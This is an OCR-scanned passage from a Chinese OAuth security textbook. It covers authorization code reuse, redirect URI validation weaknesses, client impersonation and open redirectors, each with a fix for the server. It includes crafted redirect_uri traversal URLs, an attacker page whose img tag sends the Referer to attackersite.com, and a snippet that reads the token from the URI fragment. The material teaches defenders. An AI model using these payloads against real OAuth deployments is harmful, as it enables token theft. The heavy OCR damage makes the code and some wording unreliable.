http://localhost:9001/authorize?response type-code&scope-foo&client id-zoauth-clien 
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t-1&redirect uri-http23A2F22Flocalhost23A900022Fcallback&state-Lwt50DDOKUB8U7jtf- 
LQCVGDL9cnmwHH1 
Connection: keep-alive 


授权 码 的 值 是 仅 供 一 次 性 使 用 的 凭据 ， 它 表示 资源 拥有 者 的 授权 决策 结果 。 需 要 强调 的 是 ， 
对 于 保密 客户 端 来 说 , 授权 码 从 服务 器 发 出 后 要 途经 用 户 代理 , 所 以 它 会 被 留存 在 浏览 器 历史 记 
录 中 ( 如 图 9-1 所 示 )。 


Website Address 
¥ (D) Last Visited Today | 
| 多 OAuth in Action: OAuth Client | http://localhost:9000/callback?code=EB4H3L24&state=x3pK1mESxU1zm3BsaMqOVoGTZ3DRagpg | 
(^ OAuth in Action...orization Server —http://localhost:9001/authorize?response type-c...&state-x3pK1mE5xUlzm3BsaMqO0VoGTZ3DRa9Pg 
e OAuth in Action: OAuth Client http://localhost:9000/ 








图 9-1 浏览 器 历史 记录 中 的 授权 码 


设想 这 样 的 情景 , 假设 有 一 个 Web 服务 器 ( 站 点 A )， 作 为 OAuth 客户 端 ， 它 需要 访问 一 些 
REST API。 一 个 资源 拥有 者 使 用 图 书馆 或 者 其 他 地 方 的 公共 计算 机 来 访问 站 点 A。 站 点 A 通过 
授权 码 许 可 流程 (参见 第 2 章 ) 获取 OAuth S, 这 意味 着 需要 登录 授权 服务 器 。 使 用 该 站 点 之 
后 ， 授 权 码 会 被 保留 在 浏览 器 历史 记录 中 ( 如 图 9-1 所 示 )。 当 资源 拥有 者 使 用 结束 后 ， 几 乎 肯 
定 会 退出 站 点 A， 甚 至 可 能 退出 授权 服务 器 ， 但 是 很 可 能 不 会 清除 浏览 器 的 历史 记录 。 

这 个 时 候 , 攻击 者 也 可 以 使 用 这 台 计 算 机 来 访问 站 点 A。 攻击 者 可 以 使 用 自己 的 凭据 登录 站 
点 A, 但 是 算 改 站 点 A 的 重 定 向 URI, 从 浏览 器 历史 记录 中 之 前 的 资源 拥有 者 会 话 中 找 出 授权 码 ， 
注入 重 定向 。 这 样 一 来 , 虽然 攻击 者 是 使 用 自己 的 凭据 登录 的 , 但 能 够 访问 最 初 那 个 资源 拥有 者 
的 资源 。 图 9-2 可 以 帮助 你 更 好 地 理解 这 种 场景 。 

不 过 ， 好 在 OAuth 核心 规范 在 4.1.3 节 提 供 了 一 个 方案 来 解决 这 个 问题 。 












































客户 端 不 能 多 次 使 用 同一 个 授权 码 。 如 果 一 个 客户 端 使 用 了 已 经 被 用 过 的 授权 码 ， 
授权 服务 器 必须 拒绝 该 请 求 ， 并 且 应 该 尽 可 能 地 撤回 之 前 通过 该 授权 码 颁发 的 所 有 令 牌 。 


是 否 遵 循 并 正确 实现 这 一 规定 取决 于 实现 者 ,第 5 章 所 构建 的 authorizationServerjs 遵循 了 这 








if (req.body.grant type == 'authorization code') { 
var code = codes[req.body.code]; 
if (code) ( 
delete codes[req.body.code]; 


通过 这 个 方法 , 缓存 在 浏览 器 中 的 授权 码 不 可 能 被 授权 服务 器 接受 两 次 , 也 就 不 可 能 实现 上 
述 攻击 了 。 
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客户 端 将 用 户 代理 
重 定 向 至 授权 端点 


m um um um 
用 户 代理 加 载 授 权 端点 


攻击 者 向 授权 服务 器 
进行 身份 认证 


攻击 者 向 客户 端 授权 


攻击 者 将 合法 的 授 
权 码 替换 成 从 浏览 
器 历史 记录 中 盗 取 
的 授权 码 


4^5 





用 户 代理 加 载 携带 
被 自 改 授权 码 的 重 
定向 URI 





图 9-2 


授权 服务 器 : 


授权 端点 令 牌 端点 


授权 服务 器 将 用 户 
代理 重 定向 至 客户 
端 ， 并 携带 (未 使 


用 过 的 ) 授权 码 
mE mm m Nm 


& wena s 
被 劫持 的 授权 码 一 同 发 送 
给 令 牌 端点 


授权 服务 器 将 访问 令 牌 发 
送 给 客户 端 


客户 端 将 访问 令 牌 发 送 给 
受 保护 资源 


受 保护 资源 将 受害 用 户 的 资 
源 返 回 给 攻击 者 的 客户 端 




















被 算 改 的 授权 码 许 可 流程 


授权 服务 器 : 


受 保护 资源 
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重 定 向 : 302 还 是 307? 

2016 年 1 A, OAuth 工作 组 通过 邮件 列表 发 布 了 一 份 安全 公告 ， 该 公告 描述 了 如 何 利用 
浏览 器 对 HTTP 307 重 定向 的 行为 进行 攻击 。 这 一 攻击 是 由 来 自 特 里 尔 大 学 的 研究 人 员 发 现 
的 ， 它 基于 OAuth 标准 的 这 一 特点 : 允许 在 前 端 信 道中 使 用 任意 的 HTTP 重 定向 代码 ， 具 体 
使 用 哪个 由 实现 者 来 决定 。 事实 上 ，, 并非 所 有 的 重 定向 方法 都 会 被 浏览 器 同等 对 待 ， 这 份 公告 
展示 了 在 OAuth 中 使 用 307 重 定向 的 坏处 : 它 会 导致 用 户 凭据 泄露 。 

















还 有 男 外 一 个 对 授权 码 许 可 类 型 的 防护 措施 ， 就 是 将 授权 码 与 client ia 绑 定 ， 特 别 是 对 
于 已 经 经 过 身份 认证 的 客户 端 。 在 我 们 的 代码 中 ， 只 需要 加 上 这 样 一 行 代 码 就 能 做 到 这 一 点 。 











if (code.authorizationEndpointRequest.client id == clientId) ( 
这 样 做 也 是 为 了 满足 OAuth 核心 规范 的 4.1.3 节 中 的 另 一 个 要 求 。 


保证 授权 码 只 会 颁发 给 经 过 身份 认证 的 客户 端 ; 如 果 客 户 端 不 是 保密 客户 端 , 则 要 
确保 授权 码 只 会 颁发 给 请 求 中 client id 对 应 的 客户 端 。 


如 果 不 做 这 项 检测 , 则 任何 一 个 客户 端 都 可 以 使 用 颁发 给 别 的 客户 端的 授权 码 去 获取 访问 令 
牌 。 这 将 产生 不 良 后 果 。 


9.3 EB URIA 


我 们 在 第 7 章 已 经 知道 ， 注册 redirect uri 时 要 特别 注意 一 一 确切 地 说 ， 应 该 尽 可 能 地 
具体 。 之 前 展示 的 攻击 方法 对 授权 服务 器 所 使 用 的 redirect uri 校 验算 法 做 了 一 些 假设 。 
OAuth 规范 将 redirect uri 校 验方 法 的 选择 权 完 全 留 给 了 授权 服务 器 ， 只 是 规定 其 值 必须 匹 
配 。 授 权 服 务 器 对 请 求 中 的 redirect uri 与 注册 的 redirect_uri 进行 校 验 ， 方 法 通常 有 3 
fb. 精确 匹配 、 允 许 子 目录 ， 以 及 允许 子 域名 。 我 们 来 依次 看 看 每 一 种 方法 的 原理 。 

顾名思义 ， 精 确 匹 配 的 校 验算 法 将 收 到 的 redirect uri 参数 与 客户 端 注册 信息 中 记录 的 
redirect uri 进行 简单 的 字符 串 比 较 。 如 果 不 匹配 ,， 则 提示 错误 。 以 下 是 第 $ 章 对 这 一 校 验方 
法 的 实现 。 

if (req.query.redirect uri != client.redirect uri) ( 

console.log('Mismatched redirect URI, expected $s got $s', 
Cclient.redirect uri, req.query.redirect uri); 
res.render('error', (error: 'Invalid redirect URI')); 


return; 


} 

如 你 所 见 ， 接收 到 的 redirect_uri 必须 与 注册 信息 中 的 该 字段 精确 匹配 , 否则 程序 将 返回 。 

至 于 允许 子 目录 的 校 验 算法 , 已 经 在 第 7 章 见 过 了 。 这 种 校 验 算法 只 会 检查 请 求 中 redirect | 
uri 的 起 始 部 分 ， 只 要 以 注册 信息 中 的 redirect uri 为 起 始 内 容 ， 后 续 追 加 任何 内 容 都 被 视 
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为 有 效 。 我 们 看 到 , 重 定向 URL 中 的 主机 名 和 端口 号 必须 与 注册 的 回调 URL —$5 redirect uri 
的 路 径 可 以 指向 注册 的 回调 URL 的 一 个 子 目 录 。 

允许 子 域名 的 校 验算 法 则 为 redirect_uri 中 的 主机 名 部 分 提供 了 一 些 灵活 性 。 如 果 收 到 
的 redirect, uri 是 注册 信息 中 redirect uri 的 子 域名 ， 则 会 被 认为 有 效 。 

将 允许 子 域名 与 允许 子 目录 结合 起 来 也 是 可 以 的 ， 这 样 做 能 使 域名 和 请 求 都 具有 灵活 性 。 

有 时 候 ， 通 配 符 或 者 其 他 表达 式 语 言 会 对 匹配 加 以 限制 ， 但 它们 的 效果 都 是 一 样 的 : 多 个 请 
求 值 能 够 与 单个 注册 值 进行 匹配 。 来 总 结 一 下 : 假设 注册 的 重 定向 URI 是 https://example.com/path， 
表 9-1 展示 了 各 种 方法 的 匹配 结果 。 


表 9-1 对 各 种 重 定向 URI 校 验算 法 的 比较 















































redirect uri 精确 匹配 。 允许 子 目 录 。 ”允许 子 域名 允许 子 目录 和 子 域名 
https://example.com/path 是 是 是 是 
https://example.com/path/subdir/ other T Æ f 是 
https://other.example.com/path f fü 是 是 
https://example.com:8080/path f T f ff 
https://example.org/path f f f ff 
https://example.com/bar f fs f f 
http://example.com/path f f f ff 


有 一 点 很 明确 : 精确 匹配 是 唯一 始终 安全 的 重 定向 URI 校 验算 法 。 虽 然 其 他 方法 在 管理 客 
户 端 部 署 时 提供 了 令 开 发 人 员 期 待 的 灵活 性 ,但 它们 都 存在 安全 隐患 。 

来 看 看 如 果 使 用 不 同 的 校 验 算法 会 出 现 什么 状况 。 在 现实 志 界 中 , 有 一 些 利 用 这 种 漏洞 的 例 
子 。 在 此 ， 人 研究 一 下 这 种 漏洞 的 基本 原理 。 

假设 有 这 样 一 家 公司 , 其 域名 是 www.thecloudcompany.biz, 它 可 以 让 用 户 自助 地 注册 自己 的 
OAuth 客户 端 。 这 是 一 种 第 用 的 客户 端 管理 方式 。 该 公司 的 授权 服务 器 采用 允许 子 目录 的 重 定 问 
URI 校 验算 法 。 现 在 ,来 看 看 如 果 一 个 OAuth 客户 端 将 它 的 redirect_uri 注册 为 如 下 URIS 
怎样 。 


https://theoauthclient.com/oauth/oauthprovider/callback 


OAuth 客户 端 会 发 出 如 下 请 求 。 









































= 








https://www.thecloudcompany.biz/authorize?response type-code&client, id-CLIENT . 
ID&scope-SCOPES&state-STATE&redirect uri-https://theoauthclient.com/oauth/oauth 
provider/callback 


确保 攻击 得 退 的 条 件 是 ， 攻 击 者 能 够 在 目标 客户 端 站 点 创建 页 面 ， 如 下 所 示 。 


https://theoauthclient.com/usergeneratedcontent/attackerpage.html 
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这 个 URI 并 不 是 注册 的 URI 的 子 目 录 , 所 以 没 问 题 , 真 的 吗 ? 攻击 者 只 能 构造 出 如 下 的 URI。 


https://www.thecloudcompany.biz/authorize?response type-code&client idq=CLIENT . 
ID&scope-SCOPES&state-STATE&redirect uri-https://theoauthclient.com/oauth/oauth 
provider/callback/../../usergeneratedcontent/attackerpage.html 


然后 让 受害 用 户 点 击 这 个 URI。 值得 注意 的 是 ， redirect uri 值 里 面 隐 藏 有 相对 目录 导航 ， 
如 下 所 示 。 


redirect uri-https://theoauthclient.com/oauth/oauthprovider/callback/../../ 
usergeneratedcontent/attackerpage.html 


根据 前 面 的 讨论 ， 如 果 使 用 允许 子 目 录 的 校 验算 法 ， 则 该 redirect uri 完全 合法 。 这 个 
精心 构造 的 redirect_uri 使 用 路 径 遍 历 候 升 到 站 点 的 根 目录 ， 然 后 再 向 下 定位 到 攻击 者 自行 
生成 的 页 面 。 如 果 授 权 服务 器 采用 了 TOFU 方法 (第 1 章 讨 论 过 )， 根 本 不 会 向 受害 用 户 显示 授 
权 页 面 ， 这 就 危险 了 ( 如 图 9-3 所 示 )。 


















资源 拥有 者 授权 服务 器 


授权 服务 器 将 用 户 
重 定向 至 由 攻击 者 
控制 的 页 面 ， 并 携 
带 授权 码 

















图 9-3 攻击 者 盗 取 授 权 码 


为 了 完成 攻击 ， 我 们 来 看 看 攻击 者 页 面 的 样子 。 第 7 章 介 绍 的 使 用 Referrer 或 者 URI 片 
段 的 攻击 方法 都 可 以 用 在 本 例 中 , 至 于 使 用 哪 种 ,取决 于 被 攻击 目标 使 用 的 是 授权 码 许可 流程 还 
是 隐 式 许可 流程 。 

先 看 针对 授权 码 许可 的 HTTP Referrer 攻击 方法 。 攻 击 者 页 面 会 通过 HTTP 302 重 定向 被 
访问 ， 浏 览 需 会 向 客户 端 站 点 发 送 如 下 请 求 。 

GET 

/oauth/oauthprovider/callback/../../usergeneratedcontent/attackerpage.html? 


code-cSyWhvRM2&state-Lwt50DDOKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1 
Host: theoauthclient.com 
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 
Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml«xml,application/xml;q-0.9,*/*;q-20.8 
Connection: keep-alive 


攻击 者 页 面 的 内 容 如 下 。 


«html» 
«h1l»-Authorization in progress </h1> 
«img src-"https://attackersite.com/"- 
</html> 


| ERRAR A DUI PH img 标签 时 , Referrer KAIZER. 第 7 章 详 细 
介绍 过 这 一 攻击 方法 。 

对 于 针对 隐 式 许可 的 URI 片段 攻击 ， 攻 击 者 页 面 会 直接 得 到 访问 令 牌 。 当 授权 服务 器 返回 
HTTP 302 重 定向 时 ， 资 源 拥有 者 的 浏览 器 会 向 客户 端 发 送 如 下 请 求 。 

GET 

/oauth/oauthprovider/callback/../../usergeneratedcontent/attackerpage.htmls 

access token-2YotnFZFEjrizCsicMWpAA&state-Lwt50DDOKUB8U7jtfLOCVGDL9cnmwHH1l 

HTTP/1.1 

Host: theoauthclient.com 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0 


Accept: text/html,application/xhtml«xml,application/xml;qz0.9,*/*;qz0.8 
Connection: keep-alive 


通过 URI 片段 就 可 以 劫持 令 牌 。 比 如 ,通过 如 下 简单 的 JavaScript 代码 即 可 从 散 列 值 中 得 到 
令 牌 ， 然 后 将 它 发 送出 去 即 可 。( 要 了 解 其 他 方法 ， 请 参见 第 7 章 。) 
«html» 
<script> 
var access_token = location.hash; 


</script> 
</html> 


如 果 授 权 服 务 器 使 用 允许 子 域名 的 重 定 向 URI 校 验 算法 ， 并 且 OAuth 客户 端 允许 攻击 者 
在 redirect uri 子 域名 下 创建 受 其 控制 的 页 面 ， 上 述 攻 击 同样 有 效 。 在 这 种 情况 下 ， 注 册 的 
redirect uri 应 该 类 似 于 https:/theoauthclient.com/ ， 攻 击 者 控制 的 页 面 可 以 运行 在 https:// 
attacker.theoauthclient.com 之 下 。 攻 击 者 构造 出 的 URI 应 该 如 下 所 示 。 


https://www.thecloudcompany.biz/authorize?response type-code&client id-CLIENT ID& 
Scope-SCOPES&state-STATE&redirect uri-https://attacker.theoauthclient.com 











https://attacker.theoauthclient.com 之 下 的 页 面 与 attackerpage.html 类似。 

需要 强调 的 一 点 是 ， 以 上 示例 中 的 OAuth 客户 端 并 没有 什么 不 当 之 处 。 它 遵循 了 注册 
redirect uri 时 尽 可 能 详细 的 规则 ; 然而 , 由 于 授权 服务 咒 存在 漏洞 ,攻击 者 有 机 会 劫持 授权 
码 或 者 令 牌 。 
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隐蔽 重 定向 

隐蔽 重 定向 是 针对 开放 重 定向 器 的 攻击 ， 该 漏洞 由 安全 研究 人 员 王 晶 于 2014 年 发 现 并 命 
名 。 其 攻击 过 程 如 下 : 攻击 者 拦截 OAuth 客户 端 发 送 给 授权 服务 器 的 请 求 ， 改 变 请 求 中 的 查 
询 参 数 redirect_uri， 让 授权 服务 器 将 OAuth 响应 重 定向 到 攻击 者 指定 的 位 置 ， 而 不 是 最 
初 发 送 请 求 的 客户 端 ， 这 将 所 有 返回 的 秘密 信息 都 泄露 给 了 攻击 者 。 官 方 的 OAuth 2.0 威胁 模 
型 (RFC 6819) 详细 描述 了 这 一 风险 ， 并 且 在 该 RFC 文档 的 52.3.5 节 给 出 了 应 对 建议 。 

授权 服务 器 应 该 要 求 所 有 客户 端 注 册 各 自 的 redirect_uri, 而 且 注 册 的 redirect _ uri 
应 该 是 RFC 6749 所 定义 的 完整 URI。 


9.4 客户 端 假冒 


在 第 7 章 以 及 9.3 35, 我 们 见 过 了 多 种 劫持 授权 码 的 技术 。 我 们 还 知道 ， 如 果 没 有 client 
secret, 攻击 者 则 无 法 继续 下 一 步 ， 因为 用 授权 码 换 取 访 问 令 牌 时 需要 client, secrets; 但 这 
是 有 前 提 的 ， 即 授权 服务 器 必须 遵循 OAuth 核心 规范 4.1.3 节 中 的 规定 ， 特 别 是 下 面 这 一 项 。 





























如 果 最 初 的 授权 请 求 (如 4.1.1 节 所 述 ) 中 带 有 redirect_uri， 要 确保 访问 令 牌 
的 请 求 中 也 带 有 redirect_uri， 并 且 它 们 的 值 必 须 相 同 。 


假设 授权 服务 器 没有 遵循 规范 中 的 这 一 规定 ,我 们 来 看 看 会 有 什么 问题 。 如 果 你 在 第 5 章 
按照 书 中 的 步骤 构建 了 授权 服务 器 ， 就 会 注意 到 书 中 的 实现 故意 玖 漏 了 这 一 点 ， 以 便 现在 来 
分 析 。 

我 们 已 经 说 过 ， 攻 击 者 拿 到 的 只 有 授权 码 。 他 们 不 知道 与 授权 码 绑 定 的 客户 端 所 对 应 的 
client_secret， 所 以 理论 上 不 可 能 获取 任何 信息 。 然 而 ， 如 果 授 权 服 务 器 没有 执行 规定 的 这 
一 项 检查 ， 仍 然 会 出 问题 。 不 过 在 深入 探讨 之 前 ， 先 来 回顾 一 下 攻击 者 在 前 一 步 是 如 何 盗 取 授 权 
码 的 。 我 们 所 见 到 的 所 有 用 于 盗 取 授权 码 的 技术 (在 本 章 和 第 7 章 中 ) 都 与 某 种 形式 的 
redirect uri 算 改 有 关 。 这 是 因为 客户 端 在 注册 时 对 redirect uri 选择 不 当 , 或 者 授权 服 
务 器 的 重 定向 URI 校 验 算法 过 于 宽松 。 无 论 哪 种 情况 ,注册 的 redirect uri 与 OAuth 请 求 
中 提供 的 redirect_uri 都 没有 完全 匹配 。 无 论 如 何 ， 攻 击 者 通过 恶意 构造 的 URI 支持 了 授 
权 码 。 

攻击 者 可 以 将 劫持 的 授权 码 传递 给 受害 用 户 客 户 端的 OAuth 回调 。 这 个 时 候 ， 客 户 端 会 继 
续 处 理 ， 尝 试用 授权 码 换取 访问 令 牌 ， 向 授权 服务 器 出 示 有 效 的 客户 端 凭据 。 与 授权 码 绑 定 的 客 
户 端 也 是 正确 的 ( 如 图 9-4 所 示 )。 
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客户 端 授权 服务 器 : 受 保护 资源 


授权 服务 器 : 


受权 端点 
授权 端点 令 牌 端点 


客户 端 将 用 户 代理 
重 定向 至 授权 端点 


用 户 代理 加 载 授权 


受害 用 户 向 授权 服 @ 
务 器 进行 身份 认证 


受害 用 户 对 客户 端 


又 





授权 服务 器 将 用 户 代 
理 重 定向 至 攻击 者 的 
搬 页面， 并 携带 授权 码 


































客户 端 向 令 牌 端点 发 送 已 
被 劫持 的 授权 码 和 自己 的 
客户 端 凭据 













授权 服务 器 向 客户 端 发 送 
访问 令 牌 Q 


客户 端 向 受 保护 
访问 令 牌 


受 保护 资源 将 受害 用 户 的 资 
源 返 回 给 攻击 者 的 客户 端 








图 9-4 被动 持 的 授权 码 ( 存在 漏洞 的 授权 服务 器 ) 
结果 就 是 ， 攻 击 者 成 功 地 使 用 了 被 劫持 的 授权 码 ， 并 盗 取 了 目标 受害 用 户 的 受 保护 资源 。 
看 看 如 何在 代码 中 将 这 一 问题 修复 。 请 打开 ch-9-ex-1 目录 并 编辑 authorizationServerjs 文件 。 
我 们 不 会 改动 本 练习 中 的 其 他 文件 。 在 代码 中 找到 授权 服务 器 令 牌 端点 处 理 授 权 码 许可 请 求 的 部 
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分 ， 然 后 添加 如 下 一 段 代 码 。 


if (code.request.redirect uri) ( 





if (code.request.redirect uri !- req.body.redirect uri) ( 
res.status(400).json((error: 'invalid grant')); 
return; 


j 
} 


现在 ， 当 OAuth 客户 端 向 授权 服务 器 出 示 被 劫持 的 授权 码 时 ， 授 权 服 务 器 会 确保 最 初 的 授 
权 请 求 中 传人 的 redirect uri 与 令 牌 请 求 传人 的 redirect uri 一 致 。 由 于 客户 端 不 会 主动 
证 用 户 跳 转 到 攻击 者 的 站 点 ， 因 此 它们 的 值 肯 定 不 一 致 ， 攻 击 也 不 会 成 功 。 执 行 这 一 项 简单 的 检 
查 很 有 必要 , 它 能 够 消除 针对 授权 码 许 可 的 多 种 常见 攻击 。 已 经 存在 多 种 已 知 的 因为 不 做 这 项 检 
查 而 被 利用 漏洞 的 风险 。 


9.5 ”开放 重 定向 器 


第 7 章 已 经 介绍 过 开放 重 定向 需 的 漏洞 ， 以 及 如 何 利 用 开放 重 定向 器 从 客户 端 盗 取 访问 令 
牌 。 你 将 在 本 节 看 到 ， 按 照 OAuth 核心 规范 逐 字 实施 ， 有 可 能 做 出 一 个 充当 开放 重 定 向 器 的 授 
权 服 务 器 。 现 在 ， 有 必要 说 明 一 下 这 样 做 是 否 慎 重 : 这 并 不 一 定 有 害 ; 虽然 它 不 是 好 的 设计 , 但 
开放 重 定 向 需 本 身 并 不 一 定 会 导致 问题 。 不 过 ， 如 果 在 设计 授权 服务 器 架构 时 不 考虑 这 一 点 , 在 
本 节 接 下 来 所 列 出 的 一 些 情况 下 ， 提 供 一 个 自由 的 开放 重 定 向 器 会 给 攻击 者 留 下 可 利用 的 空间 。 

为 了 理解 这 个 问题 ， 需 要 仔细 看 看 OAuth 核心 规范 4.1.2.1 节 的 内 容 。 


如 果 因 重 定向 URI 缺失 、 无 效 或 不 匹配 ， 或 者 客户 端 标识 符 缺 失 或 无 效 导致 请 求 
失败 ， 授 权 服 务 器 应 该 向 资源 拥有 者 提示 错误 ， 而 且 不 能 自动 将 用 户 代 理 重 定向 至 无 效 
的 重 定 向 URI。 

如 果 资 源 拥有 者 拒绝 授权 请 求 或 者 因为 除了 重 定向 URI 缺失 或 无 效 的 原因 导致 请 
求 失败 ， 授 权 服 务 器 应 该 通过 在 重 定向 URI 的 查询 组 件 中 加 入 以 下 参数 来 告知 客户 端 
错误 信息 …… 
这 里 规定 了 如 果 授 权 服 务 器 接收 到 无 效 的 请 求 参 数 ， 比 如 无 效 的 权限 范围 , 资源 拥有 者 会 被 

重 定向 到 客户 端 注 册 的 redirect_uri。 

第 5 章 对 这 一 行为 的 实现 是 这 样 的 : 





























if (__.difference(rscope, cscope).length > 0) ( 
var urlParsed - buildUrl(query.redirect uri, ( 
error: 'invalid scope' 


Jus 
res.redirect(urlParsed); 
return; 


} 
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如 果 想 试 一 下 效果 , 请 打开 ch-9-ex-2 目录 并 运行 授权 服务 器 。 然 后 用 你 最 常用 的 浏览 器 打开 : 


http://localhost:9001/authorize?client id-oauth-client-1&redirect uri-http://local- 
host:9000/callback&scope-WRONG SCOPE 


ZUR SIUE a EE 8] 8] T AD F hE : 





http://localhost:9000/callback?error-invalid scope 


问题 在 于 授权 服务 器 允许 客户 端 注 册 任意 的 redirect_uri。 现 在 你 可 能 会 认为 这 只 是 一 个 


开放 重 定向 ， 在 这 上 面 没有 什么 文章 可 做 ， 但 真是 如 此 吗 ?” 未 必 。 假 设 攻击 者 这 样 做 : 





OQ 在 授权 服务 器 https:/victim.com 上 注册 一 个 新 的 客户 端 ; 
O 将 redirect uri 注册 为 https://attacker.com。 
然后 ， 攻 击 者 可 以 精心 构造 一 个 特殊 的 URI， 像 这 样 : 


https://victim.com/authorize?response_ type=code&client id=bc88FitX1298KPj2WS259BB- 
a9 KCfL3&scope-WRONG SCOPE&redirect uri=https://attacker.com 


这 样 就 可 以 重 定向 回 到 https://attacker.com ( 无 须 任何 用 户 交 互 ), 这 符合 开放 重 定向 的 定义 。 























然后 呢 ? 对 于 很 多 攻击 来 说 , 访问 开放 重 定向 器 只 是 整个 攻击 链 中 很 小 的 一 个 环节 , 却 是 至 关 重 





ZB 











的 一 环 。 从 攻击 者 的 角度 来 看 ， 由 可 信 的 OAuth 服务 商 提供 一 个 开 箱 即 用 的 开放 重 定向 器 ， 














已 经 再 好 不 过 了 。 


如 果 这 还 不 足以 让 你 相信 开放 重 定向 器 有 害 , 那么 请 注意 , 已 有 将 这 一 缺陷 用 于 盗 取 访 问 令 


牌 的 真实 案例 了 。 将 本 节 描 述 的 开放 重 定向 器 与 之 前 描述 的 URI 算 改 结合 起 来 ， 可 以 得 到 有 意 


思 的 结果 。 如 果 授 权 服 务 器 对 redirect uri 进行 模式 匹配 ( 如 前 面 介绍 的 允许 子 目录 )， 并 且 























存在 一 个 与 之 共享 同一 个 域名 的 公共 客户 端 , 且 该 客户 端 并 未 被 攻破 , 那么 攻击 者 可 以 使 用 错误 
重 定向 来 拦截 基于 重 定向 协议 的 消息 ， 有 用 的 信息 存在 于 Referrer 头 部 和 URI 片段 中 。 这 种 
情况 下 ， 攻 击 者 将 执行 以 下 步 又 。 

















OQ 在 授权 服务 器 https://victim.com 上 注册 一 个 新 的 客户 端 。 

O 将 redirect uri 注册 为 https://attacker.com。 

口 为 恶意 客户 端 构 造 一 个 无 效 的 授权 请 求 URI。 比 如 ， 可 以 使 用 错误 或 者 不 存在 的 权限 范 
E (ILEX): https://victim.com/authorize?response type-code&client 
id-zbc88FitX1298KPj2WS259BBMa9 KCfL3&scope-WRONG SCOPE&redirect uri- 




















https://attacker.coms 
OQ 以 正当 的 客户 端 为 目标 ,构造 一 个 恶意 的 URI, 将 其 重 定向 URI 设 置 为 上 一 步 构造 的 URI: 
https://victim.com/authorize?response type-token&client id-good- 

















client&scope-VALID SCOPE&redirect uri-https?6:3A?:2F?932Fvictim.com?e2 
Fauthorize?s33Fresponse type?s33Dcode?*26client id?S3Dattacker-client-id?s 


26scope?3DWRONG SCOPE?*26redirect uri%3Dhttps%3A%2F%2Fattacker.com。o 
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口 如 果 受 害 用 户 已 经 使 用 过 OAuth 客户 端 (正当 的 客户 端 )， 并 且 授 权 服务 器 支持 TOFU 
(无 须 再 次 提示 用 户 )， 那 么 攻击 者 会 收 到 重 定向 至 https://attacker.com Bg: 合法 的 
OAuth 授权 响应 会 将 访问 令 牌 放 在 URI 片段 中 。 如 果 Location URI 中 不 包含 片段 ， 则 
大 多 数 浏览 器 会 将 源 请 求 URI 中 的 片段 追加 到 30x 响应 中 的 Location 头 部 的 URI 上 。 

如 果 授 权 请 求 的 目标 不 是 令 牌 而 是 授权 码 , 这 种 技术 依然 有 用 ,只 不 过 授权 码 是 浏览 器 通过 

Referrer 头 部 泄露 的 ， 而 不 是 通过 URI 片段 。 有 一 个 OAuth 安全 附录 草案 刚刚 被 提出 ， 该 草 
案 为 OAuth 实施 者 给 出 了 更 好 的 建议 。 该 草案 包含 的 缓解 措施 中 有 一 条 就 是 使 用 HTTP 400( bad 
request ) 状态 码 来 响应 ， 而 不 要 重 定向 到 注册 的 redirect_uri。 我们 可 以 当 作 练习 将 它 实 现 。 
请 打开 ch-9-ex-2 目录 并 编辑 authorizationServerjs 文件 。 我 们 所 需要 做 的 就 是 将 之 前 的 代码 修改 
为 如 下 这 样 。 






















































































if ( .difference(rscope, client.scope).length > 0) ( 
res.status(400).render('error', (error: 'invalid scope')); 
return; 


) 
现在 , 再 来 重复 一 裔 本 节 开 头 所 做 的 练习 : i5 T EBEBUIRAS d. PATER HIR si T7T : 


http://localhost:9001/authorize?client id-oauth-client-1&redirect uri-http://local- 
host:9000/callback&scope-WRONG. SCOPE 


这 时 会 返回 HTTP 400 ( bad request ) 状态 码 ， 而 不 是 30x 重 定向 。 草 案 提 出 的 缓解 措施 还 包 
括 以 下 两 项 : 
a 执行 一 个 跳 转 到 某 中 间 URI 的 重 定向 ， 该 中 间 URI 是 由 授权 服务 器 控制 的 ， 可 以 将 浏览 
器 内 可 能 包含 安全 令 牌 信息 的 Referrer 头 部 清除 ; 
a 在 错误 重 定向 URI 尾 部 加 上 “ 芒 《〈 防 止 浏览 需 将 前 一 个 URI 的 片段 附加 到 新 的 跳 转 URI 
EJs 
以 上 这 些 缓解 措施 的 编码 实现 任务 将 作为 练习 留 给 读者 。 












































9.6 小 结 


保障 授权 服务 器 安全 的 责任 重大 ， 因 为 它 是 整个 OAuth 安全 生态 系统 的 关键 。 

口 授权 码 使 用 一 次 之 后 将 其 销毁 。 

a 授权 服务 器 应 该 采用 精确 匹配 的 重 定 向 URI 校 验算 法 ， 这 是 唯一 安全 的 方法 。 

O 完全 按照 OAuth 核心 规范 来 实现 授权 服务 器 可 能 会 导致 它 成 为 一 个 开放 重 定 向 器 。 如 果 

这 个 重 定向 器 能 受到 妥善 的 监控 ， 则 情况 还 好 ， 但 稍 有 不 慎 则 会 面临 风险 。 

a 留意 在 进行 错误 提示 的 过 程 中 ， 信 息 有 可 能 通过 URI 片段 或 者 Referrer KARENE- 
现在 , 我 们 已 经 学 习 了 如 何 对 OAuth 生态 系统 中 的 3 大 主要 组 件 进行 安全 防护 , 接 下 来 将 探 

讨 如 何 保护 OAuth 事务 中 的 最 关键 元 素 : OAuth 令 牌 。 

































































(D https://tools.ietf.org/html/draft-ietf-oauth-closing-redirectors 


常见 的 OAuth 令 牌 漏洞 








AS 

O 什么 是 bearer 令 牌 ， 如 何 安全 地 生成 bearer 令 牌 
口 bearer 令 牌 使 用 中 的 风险 管理 

O bearer 令 牌 的 安全 防护 

O 什么 是 授权 码 ， 如 何 安 全 地 处 理 授权 码 





前 面 的 章节 分 析 了 OAuth 系统 中 所 有 角色 ( 包括 客户 端 、 受 保护 资源 、 授 权 服 务 絮 ) 的 实 
现 漏洞 。 我 们 所 见 到 的 大 多 数 攻 击 只 有 一 个 目的 : 盗 取 访 问 令 牌 (或 者 是 授权 码 ， 用 于 换取 访问 
令 牌 )。 本 章 将 深入 探讨 如 何 生成 合适 的 访问 令 牌 和 授权 码 ， 以 及 如 何在 对 它们 进行 处 理 时 最 大 
限度 地 降低 风险 。 我 们 会 探究 访问 令 牌 被 盗 的 后 果 , 看 看 为 什么 令 牌 被 次 的 危害 要 相对 弱 于 密码 
被 瓷 的 危害 。 总 之 ，OAuth 的 目的 是 提供 一 个 比 密码 主导 的 体系 更 安全 、 更 灵活 的 模式 。 
